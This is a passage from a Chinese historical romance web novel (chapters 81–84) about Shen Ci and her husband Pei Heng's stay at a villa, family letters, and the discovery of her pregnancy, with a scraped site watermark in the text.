如今在别院,他可不会管这些。 二人携手离开书房。 * 另一边,永宁侯府夫人晨起时带着裴姝一道去忠毅伯府和小姑子商议些事。 楚思怡因为担心沈瓷,便和母亲说起要去舅舅府上住几天。 结果才和母亲说好,在同舅母商议时竟得知表姐和表哥去了别院。 楚思怡看向裴姝,谁曾想裴姝也是一脸茫然。 “你不知道?” 裴姝摇头,“我也才知道。” 楚思怡和裴姝两个面面相觑,二人这才后知后觉的发现,表哥和表姐两个,偷偷出去玩了! 没告诉她们。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第81章 第81章他希望沈瓷可以和他分享过去…… 午膳是庄子上的厨娘做的,咸淡适中,清甜可口,很受沈瓷的喜欢。 沈瓷听裴珩说起,这厨娘是以前府上的,只是后面年纪大了些,永宁侯夫人特意将她调来庄子上。 沈瓷没有午后小憩的习惯,恰好裴珩也没有,二人便去书房继续看起书来。 只不过这回他们没能太过舒适,才翻开一页书,长鸣就送来了大理寺的公文,裴珩从扬州回来后,去了大理寺,从大理正做到大理寺少卿,官职一升再升,如今也是公务缠身。 他皱起眉头并不怎么想理会长鸣。 人人都知道裴珩休沐,长鸣跟在他身边自然更清楚,若非要紧事也不会这个时候来打扰,好在裴珩有分寸,没有晾长鸣太久,冷声朝着外头吩咐:“进来。” 长鸣甚至都不敢抬头看,飞快的将公文放于案前,将事情禀告清楚。 很快就想要退下。 偏偏裴珩一言不发,冷着脸看公文,没说要让人退下。 长鸣看向一旁的沈瓷,希望少夫人能为自己说两句好话,这公文也不是他非要送过来的。 沈瓷先前和长鸣不熟,如今也是一样,所以压根就没有感受到长鸣的殷切期盼。 倒是将一旁的裴珩惊动了,“有话直说。” 长鸣还敢说些什么? 立刻摇头,“世子,公文已经全部都在此处。” “公文留下,你可以走了。”裴珩语气冷淡。 长鸣如蒙大赦,立刻就退了出去。 裴珩虽然不大情愿,却也知道若非有紧急情况,长鸣不至于如此,无奈只能翻开公文,书桌上的那些书籍放在一旁,沈瓷走过去将那些都收了起来。 没一会儿的功夫,公文已经全部摊在了桌上。 裴珩时不时的皱眉,像是遇上什么麻烦事,沈瓷见状取了一些水开始研墨,等到他想要批注的时候,沈瓷已经将笔墨准备好。 “我不知你平时用惯哪些,就大致的看了看,选了一些尚可的。”沈瓷多少是有一些紧张的,她不确定自己做这些事会不会打乱裴珩的习惯。 也不确定自己会不会太多事。 “多谢娘子。”裴珩从容的接过她手中的笔,书房里的东西多是小时候的,但这些笔墨,是上回带过来的。 虽然也是许久之前的,可比起没有要强,“方才正想唤人过来,若非娘子体贴,少不得又要浪费不少时间。” 裴珩夸的认真,沈瓷想着没有耽误他的事便好。 她站在一旁替他研墨,她没有去看裴珩面前的公文,只是安安静静的陪着他。 公文不算少,裴珩看的认真。 沈瓷研完墨之后吩咐人守在书房外不准打扰,又使唤秋叶去厨房问问先前让准备的糕点有没有准备好。 厨娘正在准备晚膳,瞧见秋叶过来后还有些紧张,“秋叶姑娘,可是少夫人有什么吩咐?” 秋叶浅浅的笑着,“没有什么要事吩咐,不过是少夫人让我来问问糕点可有准备好。” 厨娘见状立刻将放在一旁的食盒取出来递给秋叶,东西是已经备好,只是不知少夫人是个什么脾性,厨娘原是想着过一会儿再送去,可巧取糕点的人就过来了。 秋叶将食盒取回来交给沈瓷,沈瓷亲自将糕点端去书房。 裴珩才堪堪将公文看完,沈瓷就推门而入。 “公文都处理完了?夫君快歇一歇,我让厨房准备了茶点。”沈瓷将食盒中糕点取出来放在一旁的桌子上,在一旁放上了一盏茶。 “方嬷嬷做的吗?” “嗯,糕点是方嬷嬷做的。” “你尝一尝这茶味道可好。”沈瓷面露期待的看向他。 这茶是沈瓷方才准备的,裴珩没有拂了沈瓷的心意,端起了放在一旁的茶盏。 “味道可好?” “嗯。”裴珩微微颔首,说了不少夸赞的话。 “那你觉得,母亲可会喜欢?”沈瓷又一次问道,裴珩本以为她是为了自己才准备的,没想到还有这一出。 他的妻子似乎,并没有全然的将他放在心上,这可如何是好? “原来不是给我的?”裴珩装若失落的问道。 沈瓷原本不过是想适时的问一问,谁曾想竟成了这般,对上裴珩那双眼眸,她罕见的还有些心虚。 “我…我不是…”沈瓷连连摆手,开口和他解释,“其实就是给你准备的,我只是顺便问一问。” 沈瓷想要讨好婆婆,却不知能不能讨好婆婆,这才想方设法的套话,谁知竟然… “也没关系。”裴珩很是善解人意,“夫人不必放在心上 ,我其实不介意这些,只是原本以为这是夫人特意为我准备的。” 沈瓷听见之后心中愈发愧疚,“这本就是是特意给你准备的。” “夫人不必多说,我当真不介意的。”裴珩一边说着话,一边毫无心理负担的喝着茶,甘甜醇香,半点也没有浪费这茶叶。 “当真是特意给你准备的。”沈瓷开口和他解释,“这茶叶还是我从家中带来的。” 收拾东西的时候特意放的,想让裴珩也尝一尝。 裴珩得到满意答复,这才矜持的应了声,而后又补充了一句,“我当真是不介意的。” 沈瓷:“……” 她若真的信了,大抵就是个傻子。 这话大概是不能再随便的问起,省的又惹出不少的麻烦,“夫君尝一尝这糕点。” “方嬷嬷做的糕点,味道一向很好。”裴珩明明知道沈瓷是在故意的转移话题,但是她见好就收,并没有一直和她掰扯那盏茶的事。 过犹不及。 “娘子也尝一尝,方嬷嬷来庄子上之前,可一直都负责府上的吃食。”裴珩将糕点推到沈瓷的面前,她顺势捏了一块放到嘴里。 软软糯糯的,味道确实很好。 “夫君已经忙完了吗?”沈瓷看见桌上整齐的一摞,下意识的开口问他。 裴珩点了点头,“一些要紧的案子。” 他并不怪有人刻意来寻,要紧公务本就耽误不得,只是心情难免会受影响,自然不想提,“长鸣会将公文送了回去,应当不会再过来自讨没趣。” 事实也的确如此,长鸣取走那些公文之后,就再也没出现在他们的面前。 裴珩处理了一下午的公务,本是想着和沈瓷一块儿看书的,只是沈少夫人自己不愿,念书太多的时候会头疼。 原本是解闷的,要是当成四书五经去看,岂不是本末倒置为难自己? “不如,我念给你听?”裴珩冷静建议,沈瓷愣愣的抬眸,当真觉得他实在是好为人师,难不成当官不是他的心愿,他最大的愿望其实是当个夫子? “不如,我将二位表哥喊过来?”沈瓷小声建议道,“你教他们读书吧。” 不行还有两个妹妹,都是一样的。 别逮着她一个人折腾。 “那便罢了。”裴珩干脆利落的拒绝这个提议,毫不犹豫的告诉沈瓷,他不希望有别人来打扰自己。 他说的坦荡,沈瓷虽有一些愣神,但也明白裴珩的意思,从前她爹爹就是如此,只想着和阿娘单独相处。 沈瓷看着裴珩,自然明白他的想法。 也正是因为明白,所以她的心中有一些异样的情绪。 暖暖的,滋味不坏。 在庄子上的日子二人过得很愉快,裴珩时不时要处理公务,沈瓷就不想着打扰他,偏偏裴珩时不时的打发人问她在做什么。 几次三番后,沈瓷就明白原委,拿了绣篮坐在窗下刺绣。 有时候缝荷包,有时候缝抹额,还有的时候则是做香囊,这些东西和从前一样,兄弟姐妹都有份,只是这一回,裴世子也有。 并且裴世子还要求他的要不一样,非要比她们几个的更特殊。 温馨的时间总是过得很快,转眼到了要回府的日子。 莫说裴珩不太习惯,就连沈瓷都有些不大习惯。 回到永宁侯府的那一天,沈瓷收到了不少的书信,全部都是表姐表妹和表哥的谴责和控诉。 沈瓷在看信笺的时候,裴珩恰巧回屋换衣裳,见她时不时的笑着有些好奇的凑了过来,“这是再看什么?” “哥哥们和姐姐的信。”沈瓷没有隐瞒,如实的告诉裴珩,“他们说我们俩怎么偷偷跑出去玩,不带他们。” “偷偷?”裴世子对于这两个字有些莫名的不喜,他看着沈瓷认真道,“我们明明就是正大光明出门的。” “是…是…”裴珩好脾气的哄着人,“我们是正大光明出门的。” 裴珩没有去看信笺的内容,倒是对着信封上的笔迹挑三拣四,“这字倒是写的愈发丑,看来除了功课之外,别的事情也要提上日程。” 沈瓷:“……” 她看着一本正经说话的丈夫,有些怀疑的想着,他说这话的时候,到底是真心还是假意的? 表哥他们这是又被惦记上了? 他是故意要折腾表哥,还是当真觉得他们的字不好看? 沈瓷想了想,忍不住的为他们几个开口辩解,“其实,表哥他们的字写的也不算糟糕。” “不是挺好的。” 丁是丁卯是卯,半点都不辱没。 听见沈瓷给那两个不成器的弟弟说话,裴珩心中那点儿不满的心思又冒了出来,他还记得他们第一次见面的时候沈瓷对他的区别称呼。 “他们俩的字原本就不算好,我还不能说了?”裴珩对着那信封指指点点的。 沈瓷没说话,毕竟也不是人人都和裴珩一样,她也曾见过裴珩写的字,那行云流水般的字迹,一般人如何办得到? “夫君,你总不能要求每个人都和你一样。” 她心说自己的两个表哥已经是少有的青年才俊,怎么到了丈夫这里就能被嫌弃成这般? 沈瓷想起了从前的每一次见面,裴珩不是再问他们俩功课,就是给他们布置功课,除此之外楚思怡和裴姝也不能幸免于难。 还有表姐,也深受其害。 若非自己和他不太熟悉,估摸着也是受害者。 沈瓷想到这里深深地皱起了眉头,她想到了一件事,心中骤然生出挺多不好的预感,“那若是日后我们有了孩子,他写字若不好看,你岂不是愈发要着急上火?” 若是孩子不够聪明,学问不好,写字也不好看。 岂不是天天都要挨揍? 她原本是不想说的,可照着裴珩这样的架势,她以后的孩子可要怎么办? 总要未雨绸缪才好。 “我为何要对着他着急上火?”裴珩幼时虽然也并不稳重,人人都说他顽皮,却从未有人说他愚笨。 他的孩子怎么可能不聪明? 他也不是什么脾气暴躁的人。 沈瓷听见这话,又忍不住的叹了一口气,“倘若他并不是个聪明的孩子呢?” “这不可能。”裴珩想也没想的说道,他们俩的孩子怎么可能不聪明? “我三岁便已启蒙。” 沈瓷:“……” 似乎是有一些说不通了。 “我只是说有这样的可能。”沈瓷试图让裴珩理解她,但裴世子根本理解不了,甚至有些莫名其妙。 他从未想过自己的孩子会不聪明。 尤其是和沈瓷的孩子。 “何况,孩子幼时原本就不好教,慢慢教就是了。”裴珩没有将这两件事混为一谈,“可他们俩这都多大了?字还能写成这般。” 沈瓷揉了揉自己的额头,决定还是不要随便说话。 而裴珩却像是为了要和她证明,去书房里翻出自己从前的字帖,“这是我幼时的字帖。” 他将一册书放到沈瓷的手上,示意她翻开看看,沈瓷依言翻开,瞧见了上头的内容,自己虽然有些稚嫩,但若是幼时字帖,也已经是极好。 沈瓷有些咕咕哝哝,故意说道,“夫君小时候,写字也不怎么好看么…” “这是我四岁写的。” 沈瓷:“……” 为何有些人可以从小到大都那么的优秀? “我小时候写字并不好看。”沈瓷轻声说道,她想要告诉裴珩,也许他们的孩子和她更相似也说不定。 但裴珩总能很好的曲解她的意思,并且非常乐观,“夫人如今的字不是写的很好看。” “可见夫人幼时不过是没有认真罢了。” 裴珩对她倒是无限的包容,黑的都能够夸成白的来。 沈瓷忽然有些好奇,裴珩若是知道她从前的模样…会不会改变主意? 她问出这话的时候,裴珩正慢条斯理的捻着袖子,他从未问过沈瓷从前是什么模样,不是不好奇,只是没有那么的好奇。 “若你愿意,可以尽数告诉我。” “若你不愿,也可 以什么都不说。“裴珩走到她的身边,将她整个儿揽在怀中,“过去很重要,却也没有那么的重要。” “我只想听你自己告诉我。”裴珩并不介意慢慢的等着。 他们有现在,也有未来。 至于过去,他总想着沈瓷能有一日,能够开开心心的和自己说起。 分享着她的过去。 第82章 第82章只是有一些困倦而已。 午后的阳光总是温柔,尽数的洒在二人的身上,在她们俩的身上渡上了一层金色的影子,沈瓷原本只是想告诉裴珩人无完人,没曾想竟听到了这些。 从前是什么模样? 其实沈瓷也记不太清楚,那些记忆变得遥远起来,她能记住的其实也不多,大多数都是和爹娘有关系。 那记忆伴随着许多苦涩和伤痛,沈瓷还没有办法可以毫无顾忌的说出来。 她沉默着,屋子里骤然变得安静起来。 裴珩明明白白的看着,却只是安静的陪着她,他什么都不会问,也不会好奇,看着沈瓷的时候总是一副包容的态度。 “夫君。”沈瓷看着裴珩,开口喊他。 “嗯?” “有一些事情,我以后再告诉你好不好?”沈瓷认真的问道。 她现在还没有办法,去直面那些伤痛,但沈瓷看着裴珩,不知何故竟生出了些许的勇气,她想只要给她时间,她一定可以让这些事情过去的。 沈瓷其实明白,她不能一直都逃避这些事。 所以,再给她一些时间,等一等她就好。 沈瓷并没有把这些话全部说完,但她的眼中根本就藏不住情绪,不过说了一句话,裴珩就能够猜测到后面的。 “不用着急,也不用去想这些事。”裴珩将她整个人都圈在怀里,温和的声音在她的耳边响起,又轻又淡,却让沈瓷觉得无比的安心。 “你只需要做自己想做的事情就好。”裴珩并不想约束沈瓷什么,也不愿沈瓷觉得他在强迫她直面过去。 他告诉沈瓷,她什么时候愿意说,同自己提起就好,其他的事情都不用在意。 沈瓷原本有些在意,可在裴珩的安抚下,也渐渐变得不在意起来。 面前的这些书信无人问津,那写在书信外头的笔迹,也没人在意。 沈瓷将这些书信全部都看完了,也知道里头的内容,只是对于那些控诉,她没有半点后悔。 虽然是裴珩主动提的,但这件事是她答应的,决定也是她做的,不仅仅是裴珩想,其实她也想和裴珩单独相处。 沈瓷想要和自己的丈夫单独相处,想要知道夫妻之间相处,究竟是什么模样。 但这书信送来,沈瓷也不能不当一回事,她还是挨个的回了信,并且亲自去找了裴姝。 裴姝正在看书,瞧见嫂嫂过来,心中也很是高兴,“嫂嫂,你不是刚刚回来?怎么有空过来找我了?” “嗯。”沈瓷看着裴姝,心中多少有些尴尬,但裴姝在沈瓷的面前,一直都是个善解人意的姑娘,从不会说什么让沈瓷尴尬的话。 她拉着沈瓷坐在自己身边,笑容满面的问道,“嫂嫂这几日过得可开心?” 裴姝的神情很是温和,露出了恬淡的笑容,这笑容也顺利的感染了沈瓷。 理智告诉沈瓷,这个时候不应该说什么,裴姝从前是认识的小妹妹,如今却是自己的小姑子。 但情感告诉她,她其实没有必要瞒着裴姝,思来想去还是说了出来,“嗯,开心的。” 虽然在别院里他们也没有做什么,只是平平淡淡的说话。 很多的时候,裴珩都是要处理公务的,她只是陪在身边,有时候研墨,有时候刺绣。 可即便如此,沈瓷还是觉得很开心。 很轻松,是从前没有过的体验。 “嫂嫂你不知道,那天思怡和我一块儿回府,来了才知你不在。”裴姝只说了楚思怡,并没有说自己,实则那天傻眼的人不知楚思怡一个,还有自己。 她们俩那一天可是一点儿也不开心。 “思怡在府上住了几日?”沈瓷是知道这件事的,但并不知道楚思怡这么生气。 “住了三日。”裴姝仔细的算了算。 那三天她们过得倒也还不错,吃吃喝喝还出去逛了逛,只是兄长和嫂嫂出去玩的这个事儿,让她们俩心情很是不悦。 于是,裴姝和楚思怡就给将军府送去了拜帖,去探望了楚映梦,“我们还去探望了映梦姐姐。” 再得知裴珩和沈瓷两个单独去别院之后,她的脸色也变得不好起来。 故而,谴责他们俩的人变成了三个。 后来,楚修筠和楚景澄也知道了这件事。 事情就一发不可收拾。 那些书信就宛如雪花片一般的到了永宁侯府,只不过沈瓷今日才知道。 “我原本是想来和你商议,去看一看表姐。”沈瓷的声音有点儿轻,有些气弱。 “映梦表姐成日待在府上,很是无趣。还说让我们有空就过去看一看她。”裴姝说起不少的事。 沈瓷认认真真的听着,知道表姐没有什么事,也安心不少。 “嫂嫂若是想,不若我们过几日再去看看映梦表姐?”裴姝见沈瓷说话,主动的建议道,但是对着这提议,沈瓷颇有些心虚。 轻声的问道:“姝儿觉得哪一日好?” 姑嫂二人有商有量的确定好了日子。 又给楚思怡送了信。 但楚思怡还在生气,就算收到了永宁侯府的书信,也是气呼呼的。 裴氏见她如此,有些疑惑的问道,“好端端的这是怎么了?是阿瓷送来的吗?” 楚思怡默默的点头。 “阿瓷和你说什么?” “还能说什么?”楚思怡的声音恹恹的,“就说她已经从别院回来了,想要去探望姐姐,邀请我一块儿去。” 裴氏知晓小女儿还在因为先前的事情闹别扭,忍不住笑道,“阿瓷和你表哥感情好,你怎么还不满意了?” 楚思怡没有说话,她不知道要怎么形容自己的心情。 她当然不是见不惯表哥喜欢表姐,只是… “表姐来到金陵之后,我们一直都是在一起的,做什么都是一起。”楚思怡嘟嘟囔囔的,她看着母亲,有一些迷茫。 “表姐成亲之后…就不一样了。”楚思怡的声音有些轻,嘟嘟囔囔的抱怨着。 楚思怡其实还没有反应过来,实则姐姐成亲的时候,她已经有过经历,但那个时候还有表姐在,所以她才没有觉得那么孤单。 但如今表姐也成了亲,家中就只有她一个人。 “傻孩子,这肯定会不一样的。”裴氏能够理解楚思怡的难受,她将楚思怡揽在怀中,软声的安慰她,“等到日后你自己成亲了,就会知道究竟是怎么回事。” “你表哥如今喜欢阿瓷,想要和阿瓷相处,这是一件好事。”裴氏摸了摸楚思怡的头发,告诉她很多事情都是瞬息万变。 如今裴珩愿意捧出一颗真心,他们自然是乐见其成的。 “阿娘…你这话是什么意思?”楚思怡有些不安的看向母亲,她不小了,自然能听出母亲的言外之意。 裴氏亲昵的将她搂在怀中,温柔的和她说着话,告诉她,要爱自己更多一些。 楚思怡懵懵懂懂的,并不太清楚。 裴氏也没有想要和她解释的太明白,只是告诉她阿瓷等她的回信 ,“你表哥也难得有空可以和阿瓷单独相处,你大度一些?” “也就是这几日有空,你表哥要去衙门之后就有的忙碌了。” 裴氏好说歹说,总算是将人给哄好。 楚思怡有了台阶,便高高兴兴的下,给沈瓷回了信。 等到沈瓷收到回信的时候,心中的一块大石头也落了地。 明明说好一起去看表姐的,结果她却和裴珩一道去了别院,沈瓷当然心虚。 * 裴珩重新开始上朝之后,每天都忙得脚不沾地。 早上很早出门,晚上也很晚才归来。 沈瓷也想学着贤惠妻子的模样晨起给裴珩穿朝服,一开始沈瓷还能够坚持的,早早的起来,顺道还能和裴珩说两句话。 但实在是太早了些,沈瓷压根就来不及打理自己,穿的也都是寝衣,裴珩也曾觉得她起得太早了些,原本是想要劝一劝她的。 可裴珩还记得自己说过的那些话,让她自己想做什么,就做什么。 见沈瓷日日如此,便不曾多言,只是在自己去上朝之后,让沈瓷好好的歇着,让秋叶晚一些喊她。 至于去正院给母亲请安,也不用太早,可以等他一起回来。 日子不咸不淡的过着,但渐渐的沈瓷开始力不从心起来,她有些时候根本就起不来,很是困倦。 她压根不知是什么原因,只是想着会不会是睡得太晚了些。 毕竟… 二人新婚燕尔的,晚上睡得不够早,总也是有。 对于这些事,沈瓷不知要怎么拒绝,谁也没有告诉过她要怎么拒绝自己的丈夫,为此沈瓷还稍稍的有些苦恼。 裴珩虽在大理寺任职,但也是有休沐的日子,这天沈瓷早早的醒了过来,见裴珩睡在身边还有些惊讶,“夫君,你快些起来省的误了时辰。” 沈瓷的声音还不小,裴珩直接被她给吵醒了,他迷迷糊糊的看向沈瓷,很是无奈,“娘子,我今日休沐。” 沈瓷眨了眨眼睛,像是才反应过来,“是吗?” “昨日同你说起过…”裴珩话说了一半便停下,昨日沈瓷睡着了,她睡得极早,明明一开始还和自己说着话,不知不觉便睡着了。 裴珩这几日观察过,沈瓷很是困倦。 他不太清楚缘由,今日难得休沐,便想让她好好的歇一歇,于是他将沈瓷整个儿圈在怀中,“不要想那么多,好好地歇着。” 沈瓷原本紧绷的心神在听见这话的时候彻底的放松下来,她见天色还早,本是想着稍稍的歇一会儿。 谁知这一觉就睡了过去。 醒来的时候天色已经大亮。 裴珩还没有醒过来,沈瓷本以为他是太累,结果她轻轻的一动裴珩就开了口,“你醒了?” 很显然,裴珩没有睡着,只是闭着眼睛假寐。 事实也的确如此,“只是闭着眼睛歇一歇。”裴珩随口解释了一句,他伸出手探了探沈瓷的额头,“你睡得好沉,可是哪里不太舒服?” 对于裴珩的话,沈瓷并无所觉,她也摸了摸自己的额头,没觉得有什么问题,“没什么事。” “当真?” 沈瓷点头,她实在没觉得自己有什么,“只是早晨起来的时候会有一些困。” 但是睡醒过后就不会有什么。 裴珩再三询问,得知她只是太困之后就没再追问什么。 可无缘无故的困倦,也让人担心,从前也不会如此。 于是,在裴世子的坚持下,沈瓷还是妥协了,答应请大夫上门来。 第83章 第83章她有了一个血脉相连的孩子…… 大夫来的很快,把脉过后就知道是什么情况。 沈瓷并非是生了什么病,而是有了身孕,孩子还不到两个月,若非裴珩仔细,执意要让大夫来瞧,估摸着也要过一段时日才知晓。 伺候在身边的丫鬟们听见这话都很高兴。 但是裴珩和沈瓷两个,却一个比一个平静,裴珩只问了大夫需要注意什么,沈瓷好不好,孩子好不好。 神情瞧着并无太大的区别,并没有很多的欣喜。 至于沈瓷,她压根就没有想过这么快就有了孩子,低头看向自己的腹部,那边还是平坦一片,怎么都不像是有一个孩子。 她没有太多的真实感。 夫妻两个一个比一个冷静,院里伺候的丫鬟和小厮们也渐渐的冷静下来。 裴珩见沈瓷一切安好,便说要出去一趟。 沈瓷微微的一愣,点头应下。 * 正院里永宁候夫人知晓裴珩请了大夫过来还有些疑惑,打发了嬷嬷去瞧瞧。 嬷嬷回来后笑意盈盈的恭喜道:“夫人,是大喜事,少夫人有了。” “当真?”永宁候夫人得知这个消息,自是喜出望外,原本想让人去将裴珩喊来问问情况,想了想还是决定亲自过去一趟。 谁知她还没有去,外头就传来丫鬟通传的声音,“夫人,少夫人过来了。” 永宁候夫人同嬷嬷对视一眼,立刻让嬷嬷出去将人迎进来。 沈瓷缓缓的走进屋子,刚要行礼就被人给拦住,“可别随便乱动,快些坐下。” 永宁候夫人让丫鬟扶着沈瓷坐下,仔细的看着沈瓷,问她可有没有什么地方不舒服。 沈瓷摇了摇头,“没有不舒服,只是有一些想睡觉。” 这些都是孕期的正常反应,说实话,沈瓷每日过来正院请安,有事没事的也会陪着她看账册,永宁候夫人当真一点儿也没察觉。 看沈瓷这模样,像是也没有察觉。 倒是裴珩察觉了,“怎么这个时候过来?” “大夫说不用太过小心,孩子好好的没有什么问题。”沈瓷的语速有些慢,她将大夫说过的话尽数说了出来。 永宁候夫人生过两个孩子,当然也知道一些。 见沈瓷一切安好,倒也不至于太担心。 “裴珩呢,没陪着你一块儿过来?”永宁候夫人又问了一句,平素两人不都是一块儿来请安的,怎么今儿个反而不一样了? “夫君他,出门去了。” “这个时候出门?衙门是有什么要紧事?”永宁候夫人皱起眉头问道。 其实沈瓷也不太清楚是什么事,今早大夫来过,裴珩看着大夫问了许多的话,问过之后让人送大夫出门。 沈瓷其实有挺多的话想和裴珩说,但她没找着机会。 裴珩就出门去了,去何处沈瓷也不太清楚。 沈瓷会过来正院,是因为大夫来府上人尽皆知,何况婆婆也打发了嬷嬷来问,婆婆是知情的,她才走这一趟。 永宁候夫人果真是很高兴,沈瓷来之前,她正想着让嬷嬷将裴珩院里的下人全部都敲打一遍,要让他们尽心尽力的伺候。 吩咐完这些之后,又要嬷嬷去吩咐厨房,要紧着沈瓷来。 “若是有什么想吃的,就告诉厨房。”永宁候夫人同沈瓷说着话,但其实也知道不能太兴师动众,免得给孩子压力。 至于沈瓷这边,永宁候夫人也有不少的事情叮嘱,“天儿这么冷,日后早晨就不用过来,有这功夫还是多歇歇才是。” 沈瓷倒是没有逞强,告诉婆婆自己会注意的,若是有什么不舒坦的地方也一定会说。 倒是来正院这件事… “母亲若是不嫌弃,儿媳也还是想来的,像和母亲多说说话。”沈瓷轻声开口。 永 宁候夫人很是欣慰,她一向知道沈瓷是个聪慧的孩子。 只是后头这话,就多少有些傻气,“这说的是什么话?你愿意和母亲坐在一处说说话,我又怎会嫌弃?” “每日来我这处也好,就当是走动走动。”永宁候夫人摸了摸她的手,担心她会不会冷,沈瓷便将之前说过的话又说了一次。 她其实不冷,只是手凉。 “这会儿饿不饿,想吃什么让厨房去做?” 沈瓷轻轻的摇头,说这会儿也没有什么特别想吃的。 她压根就没什么特别的胃口,只是很困。 这么说了一会儿话的功夫,就忍不住的开始打瞌睡。 永宁候夫人看着她那般模样,让嬷嬷送她回去歇着,沈瓷一开始还没想走,还是婆婆又劝了劝,她才离开的。 嬷嬷送沈瓷出门,秋叶扶着她往回走,走到没人处,秋叶才问道,“少夫人,您是不是有什么心事?” 沈瓷疑惑的看过去,“怎么这么问?” “您有了孩子,奴婢很是高兴,可您瞧着却没有特别的高兴…”秋叶的声音有些低,像是有些犹豫,事实上,她也的确犹豫许久。 但还是将这事儿说了出来。 这是天大的好消息,怎么会不高兴呢? 沈瓷微微一愣,她其实还没有适应这个身份的转变。 “没有。”她下意识的想要摸一摸自己的肚子,又觉得这个动作有些不合适,最终只能作罢。 “我就是…” 她不知道怎么形容自己现在的心情,高兴自然是高兴的,只是还没有做好准备吧。 这个孩子,来的似乎太快了一些。 而且,不仅仅是她没有做好准备。 裴珩似乎,也没有做好准备。 但这话,沈瓷没法同秋叶说起,她只是对着秋叶笑了笑,“没有想到会那么快。” 她才成亲不过三个月,就,有孩子了。 表姐和表姐夫,成亲许久才有的孩子,她听说当年爹爹和娘亲,也是过了一年半载的,才有了她。 而后夫妻俩就再没有别的孩子。 沈瓷其实一直都觉得,孩子来之不易。 可是在她这里,似乎太容易了些。 “许是小主子和少夫人有缘分,这才早早的来找少夫人。”秋叶说了些好听话,将沈瓷给哄好了。 沈瓷原本是想回去歇一歇的,她实在是困,但等她回去的时候,裴珩已经归来。 他手中竟还提着一个食盒。 “夫君这是出门去买吃的了?” 饶是沈瓷聪明伶俐,也着实没想明白裴珩这么做的意图。 “去了一趟双月楼,买了一些你爱吃的糕点。”裴珩将食盒里的糕点一一的摆了出来,沈瓷很细心的发现,这些糕点都是她先前随意说起想要吃的。 但是… 他怎么忽然自己出去买糕点了?而且双月楼的糕点,是能那么快就买回来的吗? “你尝尝,可喜欢?” 裴珩在桌上放了四五种糕点,也不知道这一时半会儿的,他是怎么买到这些的。 “我让小厮晨起去双月楼排队。” 裴珩语气平淡,很好的解释了为什么能买回那么多的糕点。 “嗯。”沈瓷选了两块糕点尝了尝,双月楼的糕点,口碑俱佳,香甜软糯的很是可口,“糕点很好吃。” 和之前的并没有太多区别。 裴珩轻轻的应了声,似乎是在观察着沈瓷,可当沈瓷抬眸看他的时候,他就又会别开眼去,惹得沈瓷有些莫名其妙的。 而这奇奇怪怪的模样,从早晨就有。 原本只是若有若无的想法,这会儿却忽然像是生根发芽了,沈瓷放下手中那半块糕点,郑重其事的问道,“夫君,你是不是,不喜欢孩子?” 既没有很激动,也没有…很高兴? 沈瓷垂下眼眸,浓密的眼睫轻轻的颤了颤,问出了这些之后,她没有再去看裴珩,甚至她还有一些后悔,后悔问出了这些话来。 明明…她可以不问的。 因为将这些事问出来,并不太合适,裴珩即便真的不喜欢孩子,其实也没有什么。 他们总是要有孩子的。 她的身份,决定了她孩子的身份。 就算裴珩真的不喜欢… 但沈瓷忽然发现,她其实是介意这件事的,她希望裴珩是喜欢这个孩子的,也正因为如此,她才会问出来。 沈瓷觉得自己有一些奇怪,她从前,会在意这些事吗? “没有。”裴珩听见这话,几乎是下意识的就开口反驳,他当然不是不喜欢孩子。 对着血脉相连的孩子,裴珩其实有着天然的亲近,尤其这个孩子是和沈瓷一起孕育的。 裴珩曾经想过他们会有孩子,他想过自己会怎么教养他,有想过自己要怎么和他相处。 也曾想过要给他取什么名字。 在和沈瓷成亲之前,这些他总是会想起。 “我没有不喜欢孩子。”裴珩心说他怎么会不喜欢沈瓷的孩子?在遇到沈瓷之前,他根本就没想过要成亲。 “我只是觉得…太快了些。”裴珩说起这话的时候脸上有了隐隐的赧意,他们才成亲三个月。 裴珩其实更想多一些时间和沈瓷相处,裴珩看着沈瓷,认认真真的和她解释。 他想和沈瓷单独相处,只有他们两个人,和在别院的时候一样,孩子的到来打乱了这些。 “我,没有想到孩子来的这么快。”裴珩的声音里竟罕见的有了无措,可他当真没有不喜欢。 “我有一些意外,没想到…” 一时间就不知要做什么。 结果头脑发热,没个交代就出了门。 “先前想着你爱吃双月楼的糕点,昨日就决定亲自去选一些。”裴珩解释完之后,又想起沈瓷如今有了身孕,他委实不该这个时候出去,“是我一时之间,想岔了。” “应该陪着你才对。” 或者同沈瓷好好的说一说,也不至于如此。 更也不至于让沈瓷生出这样的担忧,“我,很喜欢他。” 他很高兴他们有了孩子,他也很期待他的出生。 第84章 第84章当父亲是什么感觉 裴珩说的那些话,抚慰了沈瓷惶惶不安的心,她看着裴珩,认真的,点了点头。 “嗯。” 沈瓷的声音不太大,但裴珩听得很清楚。 见她没有再胡思乱想,总算是放心下来。 这误会可不得了。 “方才见你刚刚回来,是去了何处?” 沈瓷心说这个人今日是不会思考了吗?她还能去何处呢? 心里腹诽着,说的话却很温柔。 “我去见了母亲,告诉她这件事情。”沈瓷冷静的说道,“母亲身边的嬷嬷早晨来过,这事儿瞒不住的。” “何况都是自家人,也没有必要隐瞒。” 只是婆婆和她商议,要晚一点对外宣布这件事,让她不要介意,这么做也是不愿坏了孩子的福气。 沈瓷当然是答应的。 “还有这么个说法?”裴珩有些疑惑,可不敢胡乱的反驳,母亲说什么,他们便听什么。 “母亲说的。”沈瓷坐在一旁吃了两块糕点,但实在有些坐不住,揉了揉额头说要去睡一会儿。 要是搁平时她也许还会矜持些,。但这会儿只想睡。 沈瓷看了看时辰,躺在软榻上小憩,她当真是困倦,没一会儿就睡了过去。 裴珩只能听见沈瓷绵长的呼吸声。 他没让人吵着沈瓷,自己却已经开始翻看书籍,开始盘算着要给孩子取什么名字好。 等到裴姝得知消息跑来的时候,裴珩的名字都已经取了不少。 他甚至都没有去书房,让人将笔墨纸砚准备好,送来了卧房,而他就在外间看书。 既不会吵到沈瓷,又可以时时刻刻注意到她的情况。 裴姝看傻了眼,“哥哥,我那小侄儿,才两个月不到吧?” 今儿个才刚刚知道吧?就这么着急要取名字了吗? “有备无患。”裴珩不太吝啬的回答。 裴姝也不能去打消哥哥的积极性,在一旁看起这些名字来,男的女的都有,她见着之后有些奇怪的问道,“嫂嫂腹中孩子可知男女?” “不知。”裴珩没关心这些,是男是女都没什么差别。 只要是他们的孩子就好。 裴珩不太介意是男是女,可挺多人会替他们介意,所以… “男孩更好些。” 沈瓷能少许多的压力。 至少三五年之内,没人会催他们 再生一个孩子。 “哥哥这话是什么意思?”裴姝有些不满的看着兄长,“难道哥哥重男轻女不成?” 